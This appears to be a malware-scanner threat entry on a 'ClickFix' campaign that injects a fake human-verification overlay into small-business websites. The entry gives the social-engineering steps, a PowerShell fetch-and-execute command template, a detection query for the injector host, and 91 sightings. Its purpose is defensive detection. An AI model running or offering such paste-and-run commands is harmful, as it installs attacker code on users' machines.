ScanMalware.com
Known malicious kithighphishing

Windows ClickFix: 'Human Verification' overlay injector host — contacted host

family: clickfix-winx-overlay-2026-10

Compromised websites carrying an injected script that draws a fake Cloudflare-style 'Human Verification' overlay ('I'm not a robot', a Ray ID) and tells Windows visitors to press and hold the Windows key + X, choose Terminal (or press I), paste with Ctrl+V and press Enter. The pasted text is a PowerShell command that downloads and runs a second stage (irm '<host>/<id>' | iex). The overlay text is translated into several languages, and the script that draws it is packed, so the command never appears in the page source. Seen on dozens of small-business sites on 2026-10-01 loading the overlay from browseid[.]codes, and in an earlier version of the same overlay since August 2026. No legitimate verification step asks visitors to run a command.

Anchors

SMQL queryrun
contacted_host:browseid.codes OR contacted_host:*.browseid.codes

Provenance

Added: 2026-10-01 13:30
Matches pages whose browser contacted the injector host. Broad detector for newly compromised sites; it also matches sites that loaded the script without showing the overlay. The code rules in this family confirm the overlay.
References:

Sightings (91)

HostScanScriptMatchWhen
vdsverhuur.be9fa2e4ff…—query2026-10-04 10:28
legendcup.net7483544c…—query2026-10-04 10:28
lhemingway.com8e010143…—query2026-10-04 10:28
leroyfortin.fr8b9fe84d…—query2026-10-04 10:28
louisstructures.com12514fea…—query2026-10-04 10:28
manini.fr297b30a5…—query2026-10-04 10:27
local7.it522fe7b9…—query2026-10-04 10:27
laviadelsale.infoc5686b23…—query2026-10-04 10:26
marquecreative.comaf6bcd59…—query2026-10-04 10:26
tenutadelperugino.it3f3494e2…—query2026-10-04 04:32
zetaclinic.it6e24e3ab…—query2026-10-04 04:31
sje.ie113ee375…—query2026-10-04 04:30
daimeefc.com72891642…—query2026-10-04 04:29
6gems.gr9ac4a2bd…—query2026-10-04 04:29
247productions.nld54cfa19…—query2026-10-04 04:29
logistica.business1b18226c…—query2026-10-04 04:29
expeditrans.org13acd1c9…—query2026-10-04 04:28
firstcallkuwait.com18888b6c…—query2026-10-04 03:22
betek.la703cba56…—query2026-10-03 10:28
fullpowerproperties.uk327dfa14…—query2026-10-03 10:28
better-horse.comc0ea4e35…—query2026-10-03 10:28
cabanon.itab2e9113…—query2026-10-03 10:28
azerichess.comd590a980…—query2026-10-03 10:28
bilisimzamani.net0b671725…—query2026-10-03 10:27
bluerockfinancing.com30980f83…—query2026-10-03 10:27
bsmfc.orgeeba7663…—query2026-10-03 10:27
celine-gronek.fr60909419…—query2026-10-03 10:27
flouz.agency37ab0ebd…—query2026-10-03 04:30
centro.ba70585654…—query2026-10-03 04:30
pattishire.com.au07ea4f42…—query2026-10-03 04:29
arrebolcap.com157b78c7…—query2026-10-03 04:29
refillbeauty.aec5c4e256…—query2026-10-03 04:28
theficobooster.com017b752f…—query2026-10-03 04:28
simelicuir.frd9e39960…—query2026-10-03 04:28
upgrademycrib.com09382a8b…—query2026-10-03 04:28
kidscoaching.com.br2b961916…—query2026-10-02 10:29
irvincap.com909ce65b…—query2026-10-02 10:28
easystudytr.neta81b8ba8…—query2026-10-02 10:28
efs.au877b4b7d…—query2026-10-02 10:28
eng-stakebet.com8d1de65d…—query2026-10-02 10:28
astuces-deco.pro41fe925d…—query2026-10-02 10:28
bagagliculinari.itdfc75d24…—query2026-10-02 10:28
martaolcina.es70fa9a70…—query2026-10-02 10:27
janina-hochzeiten.de8549b499…—query2026-10-02 10:27
ciudadelacafamiv.com27753eae…—query2026-10-02 10:27
baseebook.com72f3d8ae…—query2026-10-02 04:29
bishopsglass.co.uk87546abe…—query2026-10-02 04:28
br2z.com4532fd0d…—query2026-10-02 04:28
biziexpress.com477e5e7e…—query2026-10-02 04:28
bondibilala.coma45645f6…—query2026-10-02 04:28
bieffe.org700b293d…—query2026-10-02 04:28
bigtonypoker.com49831af8…—query2026-10-02 04:28
bflyarn.comc34d29c9…—query2026-10-02 04:28
bestforme.netcc189a02…—query2026-10-02 04:27
bettingspeak.comf6dd2d52…—query2026-10-02 04:26
unitranscond.com3c021bb6…—query2026-10-01 16:27
vanderbilt-park.com7e33ebe2…—query2026-10-01 16:27
utopiagaming.it932d359a…—query2026-10-01 16:27
velti-digital.com3bfbfb15…—query2026-10-01 16:26
green-ard.com88b47644…—query2026-10-01 13:40
haarsalon-tonina.deee51590b…—query2026-10-01 13:40
heatingsolutionsni.com98e93f33…—query2026-10-01 13:40
diabetescareth.com28812a0f…—query2026-10-01 13:40
grishiv.com65aa2b68…—query2026-10-01 13:39
groupeglobalenergy.com2397f734…—query2026-10-01 13:39
gusanacoating.com7431bc60…—query2026-10-01 13:38
harrabycommunitycentre.co.ukba0e2e1d…—query2026-10-01 13:38
checkgps.comb88089c7…—query2026-10-01 13:32
hno-silberhorn.def43479b3…—query2026-10-01 13:32
helixperfect.com71a23c1e…—query2026-10-01 13:32
iceido.comfb95a413…—query2026-10-01 13:32
indodrama.my.id5f188992…—query2026-10-01 13:32
icercasa.es321ee9bc…—query2026-10-01 13:32
immobiliareimpicciatore.it28288ff1…—query2026-10-01 13:32
intelligenes.comc92d5e6c…—query2026-10-01 13:32
medien-meinungen.dea60736d9…—query2026-10-01 13:32
sportorium.ptumb.combdb6c975…—query2026-10-01 13:32
acombien.tn9a714d0e…—query2026-10-01 13:32
18.208.215.155eccec11e…—query2026-10-01 13:32
destinydureke.comd82fcec0…—query2026-10-01 13:32
dein-sandmann.de46847c39…—query2026-10-01 13:32
bosagen.com4efdd859…—query2026-10-01 13:32
gusanacoating.com166ced3e…—query2026-10-01 13:32
thecureofatlantis.com4066cd1b…—query2026-10-01 13:32
drgift.euf8e6209e…—query2026-10-01 13:32
solarcameratrailer.com8e0c38e6…—query2026-10-01 13:32
solarcapricornio.com.br429f6353…—query2026-10-01 13:32
itispersonal.netcf984fe8…—query2026-10-01 13:32
garantialocal.com7242ff42…—query2026-10-01 13:32
parcelcourierline.coma1294de5…—query2026-10-01 13:32
wwvv.infoff10272b…—query2026-10-01 13:32